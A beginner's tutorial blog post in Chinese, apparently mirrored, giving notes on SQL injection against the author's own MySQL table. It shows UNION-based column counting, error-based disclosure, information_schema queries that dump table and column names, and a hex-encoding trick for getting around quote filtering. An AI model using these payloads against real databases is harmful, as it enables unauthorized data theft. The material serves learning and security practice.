zoukankan      html  css  js  c++  java
  • sql注入教学

    新手入坑sql注入,以下是笔记

    首先本人存在这么一个mysql数据库

    爆库

    方法一:

    先猜有几列

    select * from student where Sid =1 UNION SELECT 1,2,3,4

    数字依次增加,发现有四列,然后通过database()来爆表名

    select * from student where Sid =1 UNION SELECT DATABASE(),2,3,4

     方法二:

    通过构造一个不存在的函数a()

    select * from student where Sid =1-a()

    爆表

     【通过错误日志反馈得到】

    select * from student where Sid =1 and polygon(Sid)

    可以看到库名,表名都被爆出来了

    【通过查询得到】

    -1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#

    爆字段

    【通过查询得到】

    -1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g'#

    有些屏蔽了引号,可以用十六进制绕过,比如fl4g转成

    -1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x666c3467#

  • 相关阅读:
    Alpha冲刺第一天
    团队项目-需求分析
    设计模式第二次作业
    设计模式第一次作业
    冲刺合集
    冲刺NO.12
    项目测试
    冲刺NO.11
    冲刺NO.9
    冲刺NO.10
  • 原文地址:https://www.cnblogs.com/semishigure/p/8213627.html
Copyright © 2011-2022 走看看